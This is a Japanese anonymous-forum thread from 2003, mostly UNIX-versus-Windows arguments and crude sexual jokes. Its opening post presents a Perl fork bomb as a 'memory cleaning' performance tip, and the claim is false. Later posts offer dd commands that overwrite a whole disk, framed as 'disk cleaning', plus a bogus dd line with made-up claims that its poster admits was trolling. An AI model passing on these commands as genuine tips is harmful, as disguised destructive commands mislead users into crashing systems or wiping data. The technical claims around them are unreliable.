- 1 名前：名無しさん＠お腹いっぱい。 [03/06/19 01:31.net]
- UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの
メモリを簡単にクリーニングできます。やり方は、コマンドラインで、
$ perl -e 'while (1) { fork; }'
とタイプするだけです。
これでディスクキャッシュになっていたメモリが解放されて、
若干処理が軽くなります。Webサーバ等では数％レスポンスが
よくなります。GUIを使っている場合では体感的に早くなったと
わかるでしょう。
- 386 名前：名無しさん＠お腹いっぱい。 [03/09/26 14:29.net]
- Plan9の時代がやってくる。
- 387 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/26 20:45.net]
- Plan9の時代はもっと先
それまでにあの兎をどうにかしよう
- 388 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/26 23:24.net]
- >>375
プロセスが鼠算式に増えてプロセステーブルを使い果たすからじゃないの。
- 389 名前：名無しさん＠お腹いっぱい。 [03/09/26 23:40.net]
- セックスしたいからです。
セックス！！セックス！！セックス！！
- 390 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/26 23:52.net]
- >>389
>>371
- 391 名前：名無しさん＠お腹いっぱい。 [03/09/27 02:38.net]
- 誰かUnixの時代を終わらせてくれ。
現時点でWindows本命。
- 392 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/27 02:46.net]
- ていかWindows(MS)の時代を終らせて欲しい
技 術 力 で 競 争 す る 時 代 き ぼ ん ぬ
- 393 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/27 08:41.net]
- ｽｶｰﾄめくり＝すかーっとメモリクリーニング
- 394 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/27 10:06.net]
- >>391
必要なOSを必要なときに使えばいいと思うよ。
リモートデスクトップやVNCが使えるようになった今日でも
遠隔地からの保守はUnix系のOSの方がしやすいと思うけど。
逆に遠隔地から保守するひつようがなくマウス操作ですべて
済ませたい場合はWindowsが向いていると思うけど。
>>392
Microsoftにもかなりの技術力があると思うが。
ACL(Access Control List)を最初に実装したのはM社だったし、
NTFS5にはジャーナリング機能があるし、
起動時には動作をできるだけ並列化することで起動時間を短くしているし。
- 395 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/27 10:54.net]
- >>394
XFSやReiserfsにおけるジャーナリングファイルシステムの幾つかの利点が
NTFSにはないけどね。
速度 復旧の速さ フラグメント
NTFSはFAT32より遅く
有事の際にはディスクチェックが入り
しかもフラグメントする
ファイルが壊れるのは過去のfsと何らかわりない
起動時間の速さなんてPC次第で大分かわる
俺のショボPCじゃいくらWinが速くなったところで
ものの7,8秒で起動してくれるLinuxやFreeBSDには残念ながら敵わんよ。
>技術力がある
絶対ある 確実にある それは間違いないが
あるからそいつを使う必要が常にあるかといえばそうじゃない。
Win95以降のMSは鼻糞ほじりながらでも、そこそこの収入が入り
Win98以降はまともな競合相手すらいないから寝てたって金が入る
ときどき慰め程度に新しいバージョン売り出せばそれでオッケ。
長期的に金かけて技術を産み出し、それを駆使するよりは、一時的な出費で
競合(しそうな)相手潰したり、まるごと買収したほうが安あがりだし、悪い芽を摘むという意味ではある意味長期的に利益になる。
今は穴出しまくって大変だからそうも言ってられないけど。
- 396 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/27 11:06.net]
- ファイルやディレクトに関するアクセス権の定義の手法を開発したのがMSだとでも思ってるんですかね。
痛すぎ。
Windowsにおけるその実装がACLということで
Windowsにアクセス権という概念がACLよってはじめてもたらされた。
Windowsにおける始めてのアクセス権の実装はMSが最初だ。
というのならわかるが。
- 397 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/27 11:44.net]
- ドザもマカと一緒なの？
そのうち
「人類の起源はMS本社ﾆﾀﾞ!!｣
って言いだすんだろうな
- 398 名前：394 mailto:sage [03/09/27 14:13.net]
- >>395
フラグメントするのは確かに痛い。
FreeBSDでKLD使わないとかなり速く起動するのは知っているけれど、Linuxってそんなに速いか?
確かに、技術力ではなくビジネスで伸びてきたというのは否めないね。
でもそういった部分でいい人材を獲得しているとも思えるわけで。
>>396
ほえ?じゃあ、ACLを最初に標準実装としたOSは何?
ファイルやディレクトリに対してのアクセス権の制御自体は
Unixの主な機能の一つであり初期からあったことは知っている。
ただ、従来のUnixのowner,group,othersという分類よりも細かいことができるという点で
ACLは勝っているとは思っているが。
これを最初に研究のためにつけたのではなく標準で搭載したOSって他にあったのか...
>>397
最初のWindow SystemがXerox PARCにて生まれたことは知ってますが何か?
ただ、それが売れるとは誰も思わなかったから最初に普及したのはマックってだけで。
- 399 名前：395 mailto:sage [03/09/27 15:00.net]
- なんだか便乗叩きが多いな…
>>398
俺はGentooLinux FreeBSD4.8R Windows(2k)をどれも使ってるんだが
BIOSのロードとブートローダを除いた、OSのブート時の時間は
速 FreeBSD = Linux > Windows 遅
って感じかなぁ。
計測したのは最近じゃないんだが、環境はほとんど変えてない、どれもkernel
読み出しからログイン画面が出るまでの時間。Linux と FreeBSDはどちらもコ
ンソールからのログイン。Linuxは最低限必要と思われる起動スクリプトとデー
モンのみ。FreeBSDは、同じく必要な物それぞれに加えsshとsamba、apache。
Win2kは特に鯖は立ててない。安定化とパフォーマンスアップを狙ってスワッ
プが外部ドライブでサイズ固定。あとは割と有名な範囲でのレジストリの調整
はしてある。スワップ用のドライブはFAT32。
LinuxはノートPCで性能は良くない、MMX Pentium 230Mhz Mem 96MB。FreeBSD
の方もほぼ同様だがこちらはデスクトップでメモリは128MB。ハードディスク
はノートの物と比較して若干高速な物にしてあると思う。
Win2kはPentium3の500Mhz程度でメモリは512MB。デスクトップPCでハードウェ
アの構成はいたってシンプル。CD-RWドライブにハードディスク二個、LANカードに
USBボード。デバイスはUSBに頼って中身はあまり入れてない。
このWindows絶対的優位な状況において、Windowsは起動に１分前後かかったのに対し
スッカラカンのLinuxは前述のとおり7,8秒。それより若干ハンデがあるFreeBSDも同程度。
以前はノートPCのほうでWin2kを使っていたが、こちらでは3分程かかった。
- 400 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/27 15:28.net]
- >>399
そんな長々評論するほど起動時間って重要なの？
- 401 名前：395 mailto:sage [03/09/27 15:34.net]
- >>400
ほんと失礼した。
ながすぎですね、ごめんなさい。
重要と言われれば重要のような気もする。FreeBSDの方は鯖として使ってるの
で停止させる事は滅多にないけどLinuxとWindowsはクライアントなので長時間
使わないときは電源落しとくから。ほったらかしておくと、Winの中で安定し
ている2kとは言え昨今の状況からしていつ穴がつつかれるかわかったもんじゃ
ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ
(HDDはノートのほうが心配だが)。そんなわけで日に二度三度消したりつけた
りするので、アッサリ起動するLinuxを後目に、チンタラしてるWindowsを見る
と少しイライラしたりする。そんな程度のことですよ。
- 402 名前：名無しさん＠お腹いっぱい。 [03/09/27 23:51.net]
- NTFSはFAT32より速いです
- 403 名前：394 mailto:sage [03/09/28 17:22.net]
- >>399
えっと、並列化するようになったのはXPからね。
Windows 2000の起動は並列実行していないのでむちゃくちゃ遅い。
それと比較の方法がunfairだと思う。
Windowsと起動時間を比較するならWindowsと同等の機能をもてるだけのデーモンを起動し、
xdm立ち上げるくらいはしないと...
- 404 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/28 17:37.net]
- >>403
同等の機能を持つデーモンってなんですかね。
鯖に使ってるわけじゃないんで、Winの方は起動時に何もさせてないんだけど。
スタートアップファイルはログイン後に読み込まれるもんだし。
特別なサービス使ってるわけでもないし、無効にしても大丈夫なもんは極力無効にしてるんでね。
xdmでもkdeもgdmでも
１分もかかんないっすね。
20〜25秒かな。
まあ、無茶苦茶な設定にすればWin並に時間かける事は可能だろうけど
使わなくてもいいようなデーモンまでなんでもかんでも入れちゃえば
１分2分はかかるかなぁ。そしたらWinが持つ機能よりも多機能になっちゃうよ。
vnc apache named ssh sendmail finger bind qmail tripwaire Oracle
こんくらいやればいけそう。
2kはむちゃくちゃ遅いとのことですけど
XPより速いと思うのは、俺だけ？
Winの中じゃかなり速い部類だと思うんだけどいかがなものか。
>>400も言ってるけど、語るほど重要でもないよね。
別に一方が数秒で起動して、他方が１分かかってもいいんでないの？
- 405 名前：名無しさん＠お腹いっぱい。 [03/09/28 17:53.net]
- ウチは電源入れてから起動するまで22時間かかる。
- 406 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/28 22:05.net]
- >>404
> 2kはむちゃくちゃ遅いとのことですけど
> XPより速いと思うのは、俺だけ？
計測はしてないが2kは起動遅いよ。XPの方がはやい。
- 407 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/28 22:31.net]
- じゃあ結論としてはこうね
Linux *BSD > XP > 2k
- 408 名前：403 mailto:sage [03/09/29 01:56.net]
- >>404
Windowsくんは何もしないでも動いているサービスがあるので
それらと同じようなサービスをするものすべてを動かすという意味。
たとえば、Samba,automount daemon,ntpなど。
> 2kはむちゃくちゃ遅いとのことですけど、
並列実行するのでマシンの処理速度はかなり効いてくると思う。
並列処理するとコンテキストスイッチのオーバーヘッドがつくしね。
>>407
そうか?Linuxはそんなに起動が速いか?
FreeBSDと比べて遅いと感じた記憶があるけれど、最近は変わったのかな。
- 409 名前：名無しさん＠お腹いっぱい。 [03/09/29 03:15.net]
- 次は起動時間厨か。
- 410 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/29 07:52.net]
- >>401
> ないのとHDDが丈夫な高級品じゃないので、逝ってしまわれたらアレなんでねぇ
2.5 インチ系はしらんが, 3.5 インチドライブって
スピンアップの時に一番ストレスかかるんだが...
おれは, 一度火をいれた disk はよほどのことがな
い限り電源落さないけど...
# 冷却はしっかりやっとく必要はあるけど...
- 411 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/29 17:21.net]
- >>408
そうしたところで、Win程遅くなることはないよ
LinuxにしてもFreeBSDにしてもね。
うちのLinuxはkernel読み出してから7秒後にログイン可能だ。
環境が許せば、LinuxBIOSなんてのを使うと3秒程度になるらしい。
Pentium 130Mhz
Mem 48MB
HDDはDMA無し
#Win2kだと3分以上はかかる。XPはインストールしようとすら思わなかった。
- 412 名前：名無しさん＠お腹いっぱい。 [03/09/29 18:07.net]
- XPは2秒で起動する！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！
- 413 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/29 18:40.net]
- ｳｿﾂｷｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!!
- 414 名前：名無しさん＠お腹いっぱい。 [03/09/30 13:38.net]
- クロレッツXP
- 415 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 13:39.net]
- ケンシロウでも２秒は無理。
- 416 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 13:56.net]
- >>1
すばらしい。うまくいったよ。
お礼にディスククリーニング法を教えてあげる。
# dd if=/dev/zero of=(以下略
- 417 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 13:58.net]
- それ廃棄前にやってたなぁ。
ある意味クリーニング。
女の子が下着捨てるまえに洗濯してハサミで細切れにするのと似たようなもんだ。
- 418 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 22:35.net]
- >>417
そんな女嫌だなぁ。
- 419 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 23:36.net]
- >>417
それだったら/dev/zeroよりも/dev/urandomのほうがよくないかな。
ほんとうはさらにこれのXORを書いて、さらに/dev/urandomがよかったような...
# dd if=/dev/urandom of=あぼーん対象ディスク
でも、女の子が下着を捨てるときにはさみで細切れというのは聞いたことがあるな。
個人情報が書かれたものを捨てるときにシュレッダーにかけるのと同じようなもんだと
思うからもれはさほど抵抗はないが。
もれの女の下着で他の男にハァハァされるのは嫌だし。
- 420 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/09/30 23:59.net]
- コマンドを最後までかかない>>416は小心者。
たしかにやっちゃう人出そうだけれども。
- 421 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 00:30.net]
- >>418はそんなことされるとオカズがなくなっちゃうからムカツク
そのまま捨てろ と言いたいのではなかろうか。
- 422 名前：名無しさん＠お腹いっぱい。 [03/10/01 00:31.net]
- 変態が集うスレはここですか？
- 423 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 00:34.net]
- 変態は418だけで十分です
- 424 名前：418 mailto:sage [03/10/01 00:59.net]
- なんで俺が変態なんだよー
- 425 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 01:24.net]
- >>424
>>421の解釈が客観的にみて妥当だから
- 426 名前：418 mailto:sage [03/10/01 01:40.net]
- >>425
ただ俺は、そんな自意識過剰な女は嫌だってだけなんだけどね。
もう、そんなことを言ってももう聞いてもらえませんね。
すまなかったよ。変態として生きていきます。
- 427 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 02:22.net]
- もう来るなよ、変態。
- 428 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/01 08:07.net]
- >>426
ねた的には変態とののしっていたほうが面白いのだが、
たしかに自意識過剰な女は嫌だね。
自分に誇るべき価値は女であるということだけなのに3高を望んでたりすると
逝ってよしと思うしな。
- 429 名前：名無しさん＠お腹いっぱい。 [03/10/01 23:57.net]
- 3高
- 430 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 01:03.net]
- 個人を特定したパンツ泥棒というより
無差別的な泥棒の場合
女自身よりもパンツがそのまま捨てらている事自体が
泥棒を呼ぶエサになる。
周囲の人達の迷惑も考えて、「私のパンツだから盗まれるかもしれない」ではなく
「パンツをそのまま捨てたせいで、変態が寄ってきては大変だ」という意識であると思われる。
- 431 名前：名無しさん＠お腹いっぱい。 [03/10/02 01:34.net]
- パンツをそのまま捨てると野良パンツが寄って来て住み着いたりする。
夜中に大勢集まってにーにーとパンツ会議を始めてうるさい。
それだけならまだしも子を産んで増えたりすると大変。
だ か ら 切 り 刻 ん で 捨 て て や る の さ
- 432 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 01:51.net]
- ワイルドパンツに生存権を！！
- 野良ぱんつの蒸れがデモ行進
- 433 名前：ワイルドパンツ mailto:sage [03/10/02 02:04.net]
- 土曜の午後仕事で洗濯機を走らせていた
洗濯カゴからはみ出すブラ＆ズロース
昔よくマスかいたパンティー
へへいへい♪
- 434 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 02:08.net]
- 変態が居座っているスレはここですか?
- 435 名前：思い出の渚 mailto:sage [03/10/02 02:09.net]
- ぱんつ(キミ)を見つけたこの渚に
ひとりたたずみ思い出す
小麦いろしたかわいいシミ
忘れはしないいつまでも
港逃げるぱんつ盗んで
黒い透けパンレースなびかせ
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
股にあてがいしごいてみても
もう立ち上がらない
ぼくのちんちん
- 436 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/02 02:55.net]
- >>431
死ね気違い
- 437 名前：名無しさん＠お腹いっぱい。 [03/10/02 23:20.net]
- 8243931931
- 438 名前：名無しさん＠お腹いっぱい。 [03/10/03 18:34.net]
- ぱんつのしみくさいくさい
- 439 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/04 02:13.net]
- うちのパンツしりませんか？
- 440 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/04 09:52.net]
- >>436
>>437
板違い
- 441 名前：名無しさん＠お腹いっぱい。 [03/10/04 13:53.net]
- パンツを切り刻んでる姿を想像してボッキした香具師挙手
- 442 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/05 00:10.net]
- マゾっけのある変態がいるスレはここですか?
- 443 名前：名無しさん＠お腹いっぱい。 [03/10/05 00:18.net]
- サドっけがあります
- 444 名前：名無しさん＠お腹いっぱい。 [03/10/05 00:49.net]
- 佐渡それは悲しい佐賀
- 445 名前：名無しさん＠お腹いっぱい。 [03/10/05 01:45.net]
- >>439
僕の右手知りませんか？
- 446 名前：名無しさん＠お腹いっぱい。 [03/10/05 23:25.net]
- 神の左手悪魔の右手
- 447 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/05 23:43.net]
- >>445
行方不明になったのか？
- 448 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/05 23:59.net]
- ミギーか手っちゃんなんだろ、>>445の右手は。
- 449 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/06 00:05.net]
- (゜o゜ ) ………
- 450 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/06 01:39.net]
- ( ﾟдﾟ)ﾎﾟｶｰﾝ
- 451 名前：名無しさん＠お腹いっぱい。 [03/10/06 21:49.net]
- ( ﾟдﾟ)ｶﾎﾟｰﾝ
- 452 名前：名無しさん＠お腹いっぱい。 [03/10/07 19:01.net]
- 男でもパンツは切り刻んでから捨てろ。
変態ホモにﾊｧﾊｧされてるかもしれないぞ。
- 453 名前：ホモ mailto:sage [03/10/07 22:08.net]
- >>452
むしろ光栄だな
- 454 名前：名無しさん＠お腹いっぱい。 [03/10/08 13:14.net]
- ホモはホモサピエンスの略である。
- 455 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/08 13:53.net]
- ホモはホモ牛乳の略である。
- 456 名前：名無しさん＠お腹いっぱい。 [03/10/09 00:15.net]
- ユニックスにメモリクリーニングなど必要ない!!
ーーーーーーー糸冬了ーーーーーーー
- 457 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/09 09:25.net]
- >>456
生産ラインにつないでいるユニックスマシンのメモリを
定期的に掃除機でクリーニングしていますが、何か。。。
- 458 名前：名無しさん＠お腹いっぱい。 [03/10/09 17:51.net]
- ついでに石鹸水でジャブジャブ洗っとけ
- 459 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/09 23:51.net]
- >>457
もれはメモリーだけではなくCPUクーラーも掃除するなぁ。
あとはファン周りとかM/Bとかケースの底にたまったほこりとか。
- 460 名前：名無しさん＠お腹いっぱい。 [03/10/10 02:48.net]
- ( ﾟдﾟ)ﾎﾟｶｰﾝ
- 461 名前：名無しさん＠お腹いっぱい。 [03/10/10 18:16.net]
- クリーニングしない椰子はPCから発火して焼け氏ね。
- 462 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/10 20:19.net]
- ddでディスククリーニングしちゃった香具師はいますか
- 463 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/11 00:17.net]
- クリーニングディスクにクリーニング液を数滴(湿式)
ドライブにいれたあと
dd if=/dev/fd0 of=/dev/null bs=512 count=200
- 464 名前：名無しさん＠お腹いっぱい。 [03/10/11 00:52.net]
- >>463
> クリーニングディスクにクリーニング液を数滴(湿式)
> ドライブにいれたあと
> dd if=/dev/fd0 of=/dev/null bs=512 count=200
間違い。 Linux の場合、下記が正しい。
ディスクアクセスが速くなった気がする。
dd if=/dev/hda of=/dev/zero bs=1024 count=10000
- 465 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/11 00:59.net]
- >>464
この板でそのOSの名前出すと
変なのがよりあつまってきますよ
- 466 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/10/11 10:11.net]
- >>465
「間違い」と言っている時点で喧嘩を売ってるから望むところなんじゃないか?
ここは犬板でないのに犬以外のOSについて書くと間違っているといわんばかりだしな。
Linux(kernel 2.4.20で確認)にも/dev/fd0や/dev/nullがあるのに
そういうこと書いているということは釣死だろうから
こういうことを書いてほしいがためにやってるんだろうが。
- 467 名前：名無しさん＠お腹いっぱい。 mailto:mv -f 464 /dev/null [03/10/11 12:02.net]
- あんたが正解。
最近のUNIX版はレベルが低下してて盛り上がりに
欠けるからわざとああいうふうに書きました。
適当なこと書いてごめんよ。
- 468 名前：名無しさん＠お腹いっぱい。 [03/10/12 00:09.net]
- ドル箱を積みましょう。
- 469 名前：名無しさん＠お腹いっぱい。 [03/10/31 17:42.net]
- ジャンジャンバリバリ
- 470 名前：名無しさん＠お腹いっぱい。 [03/11/11 13:56.net]
- あの・・・
Windowsって何ですか？
そんな古臭いＯＳなんてもう使えませんよ。
ま、ともかく
＊WindowsXPプリインストールＰＣを買う奴：気違い
＊WindowsXPを買う奴：世界の経済を狂わせる奴
＊WindowsXPをMXとかからダウンロードする奴：世界経済を安定化させる勇者
どうしても、WindowsXPを使いたければ、ダウンロードして、購入資金を
赤十字に寄付しましょう。
それでなければ、OpenBSDでもインストール汁
- 471 名前：名無しさん＠お腹いっぱい。 [03/11/11 14:29.net]
- M$に嫉妬するなよ。
- 472 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/11 15:48.net]
- 釣れた釣れた
- 473 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/12 01:55.net]
- OpenBSDって近頃やっとELFに移行した時代遅れさんでしょ？
- 474 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/12 09:47.net]
- >>470
独り言はetc.2ch.net/hikky/でやってくれ。
>>473
昔のFreeBSDもそうだけれどaoutでダイナミックリンクを実現する仕組みが
あったためにELFに移行する必要性がさほど無かったのではないかな。
んま、ELFになったほうがいろいろと便利なことはあるけど。
- 475 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/13 05:22.net]
- >>474
煽りに親切すぎ
でも勉強になった
- 476 名前：名無しさん＠お腹いっぱい。 [03/11/22 20:06.net]
- リナックス氏ね
- 477 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/22 21:21.net]
- だから、そのスクリプトを入力をすれば氏ぬってば
- 478 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/22 21:29.net]
- 死なないんですけど
- 479 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 00:39.net]
- $ perl -e 'while (1) { fork; }'
で、氏なないってのかい？
- 480 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 01:10.net]
- 死なないな
つか、frokしただけで死ぬかよ
- 481 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 01:15.net]
- >>479
スレをよく嫁
ｶﾞｲｼｭﾂすぎてつまらん新しいネタもってこいやヴォケ
- 482 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 01:30.net]
- >>479
15分くらい放置してみた
数えたわけじゃないけど、15分もあれば相当な数の無駄プロセスが生成されてるが
既存のプロセスは何の問題もなく動いてる
新しいプロセスも生成できた
perlの親プロセス殺したら即座に無駄プロセス全部消えた
これでほんとに死ぬのかよ
うちは死ぬ気配どころか、何の悪影響も及ぼしてないんだが
- 483 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 12:06.net]
- 犬のことはよく知らんけど、一つの親から作れる子プロセス数に制限があるのかな?
uname -aしてkernelのバージョンいくつか教えて。
- 484 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/23 15:01.net]
- >>483
Linux Murder 2.6.0-test9-mm5
最大のプロセス数は、kernelのヘッダの中のどれかに書いてあると思ったが
数万個だったと思う。たぶん65535個？
2.4.20-ck6でも検証したけど同じく死なないよ。
たぶんこれで死ぬとしたらプロセスの生成にハードの性能が追いつかない
メモリが足りない、CPUがトロいなんかの理由で固まるんでないの？
- 485 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/24 09:31.net]
- いや、プロセステーブルを使い切って死ぬという話だったと思うよ。
ちなみに実行したのは一般ユーザー?root?
過去のレスには一般ユーザーなら平気だけれどrootでやると固まるという報告があるね。
何の影響もないということだけれど、一瞬すごく動作がとろくなるということもないの?
- 486 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/11/24 15:20.net]
- >>485
rootも一般ユーザも試したよ。
動作がトロくはなってないなぁ。
どれくらい変るもんなのかってのが疑問だが、体感する程遅いようなことはなかった。
放置した15分間はfirebirdで/.Jにコメントつけたり
2chで他のスレ見たりしてたけど、遅くなった感じはない。
firebirdは、無限forkを始めてから起動させた。
forkする様子をみるためにtop起動させて監視してたら
firebirdの起動スクリプトが一瞬でて、またすぐperl埋めつくされ
また一瞬firebirdのスレッドが表示されたと思ったら
またもやperlに埋めつくされた。
その後rootで無限forkさせたときは、mikmodでmodきいてた。
音が途切れることもなかったし、途中で始めたdilloのmakeも滞りなく終ったよ。
その後2.4.20-ck6で検証したんだけど、それは別マシン。
そっちはファイル倉庫にしてあるやつで、httpとsshがdeamonとして常駐してる。
20分近く放置してあったけど特に問題はないな。
外部の公開してるわけじゃないので、セキュリティ対策はほとんどしてない。
こっちは一般ユーザで検証するのが面倒なので、rootでのみ検証した。
どっちのマシンもCPUとメモリはほぼ同じ
2.6がノートで、2.4のほうはデスクトップ
ノートはPentium3 500Mhz Memory 256MB(オンボードメモリは無し)
デスクトップの方はCPUは同じ(だけどデスクトップ用のPentium3)、そしてノートより若干メモリが多い(オンボード + 256MB)
ディストリはどちらもGentoo Linux。
ノートの方はマメにアップデートしてるので
Gentoo 1.4で~x86(unstable)な環境。
デスクトップの方はほとんどイジってないので
Gentoo 1.4-rc4のままだったかな。
|
 |
